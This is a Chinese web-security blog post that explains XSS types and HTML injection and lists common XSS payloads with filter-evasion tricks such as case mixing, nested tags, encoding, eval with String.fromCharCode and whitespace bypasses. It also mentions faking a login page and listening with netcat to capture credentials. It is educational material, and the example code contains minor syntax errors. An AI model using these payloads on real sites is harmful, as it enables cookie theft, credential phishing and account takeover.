WEB安全第六篇--千里之外奇袭客户端:XSS和HTML注入

零、前言

  最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件、底层安全、漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的payload技巧以便于备忘。不是大神、博客内容非常基础,如果真的有人看而且是大牛们,请不要喷我,欢迎指正我的错误(水平有限)。

一、XSS:

  1、本质:

    XSS的本质是HTML代码注入,将用户输入的内容没有经过严格的审查写入了html文件中,用户的的输入内容在富脚本客户端得到执行。

  2、分类:    

 1 //1、反射型:一般指XSS payload作为参数传递进入后单次或短时间出现在html文件里,而不是永久保存其中的一类XSS
 2 /*https://www.test.com/XSS?string='一段js脚本'*/
 3 <script>alert(1)</script>
 4 //2、存储型:用户输入XSS payload会存储进服务器的一类XSS,持续时间长,危害范围广。不在利用URL反射而是POST或者PUT到SERVER储存再返回到客户端页面
 5 /*https://www.test.com/XSS?store='一段js脚本'*/
 6 <script>alert(1)</script>
 7 /*https://www.test.com/show触发*/
 8 //3、DOM based XSS:XSS payload是通过网站的操作函数被写入html的某个dom节点里的,是属于一种特殊的反射型XSS
 9 <script>
10     function xssattack(){
11         var str = document.getElementById("text").value;
12         document.getElementById('attack').innerHTML = "<a href='"+str"' >testlink</a>";
13 }</script>
14 //如上文代码,XSSpayload会被函数中的第二条语句写入id值为t的dom节点中。

  3、危害:   

  (1)盗取Cookie
  (2)盗取其他信息(用户的认证信息、浏览器版本、os信息、系统安装的软件、查询浏览记录)
  (3)增删改查用户可以增删改查的任何东西
  (4)钓鱼甚至蠕虫(终极武器)

  4、常见的payload:

   (1)<script>alert(1)</script>,<img src=1 onerror=alert(1)>,<svg onload=alert()>

   (2)<ScRipt>alert(1)</ScRIpt>,<scr<script>ipt>alert(1)</scr</script>ipt>

   (3)以上特殊字符编码成URL编码

   (4)<img src='' onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))>,<img src='' onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))>

   (5)";alert(1);"【本身在<script>标签内】

   (6)<img src=javascript:alert(1)>,<div style="&#123&#43...&#72">【或者hex、base64编码】,<script src='/filepath/filename'></script>

   (7)<img src=1 on%09load=alert(1)>,<img src=1 onload=alert(1)>%0a,<svg/onload=alert()>,<svg%0a[%0d]onload=alert()>

   (8)隐藏输入的,可以在请求中添加&varname= 尝试输入或者闭合他的标签,加载外部站点的例如iframe src=xxxx 让src的有了xss即可,ng-include : xx.xx可以改为ng-include='level1.php?name=test<img src=1 onerror=alert(1)>'

     (9)alert()中()被过滤可以尝试使用``反引号

    (10)url;<script>alert(1)</script>url反射

  5、防御:

    (1)过滤用户输入

    (2)输出之前进行实体编码

二、更广泛的HTML注入:

  1、本质:

    向前端页面添加代码并执行,当时富脚本时候,变成XSS,只是HTML标签时候为HTML注入。

  2、payload:

    <a href='http://www.baidu.com'>

    paramwidth ="" onload=alert(1)></ifrmae>//"

  3、HTML 存储型注入可以伪造登录界面,在自己的机器上用netcat监听,收集账号密码,此外HTML可以改变标签闭合,改变文档结构。

原文地址:https://www.cnblogs.com/KevinGeorge/p/8251103.html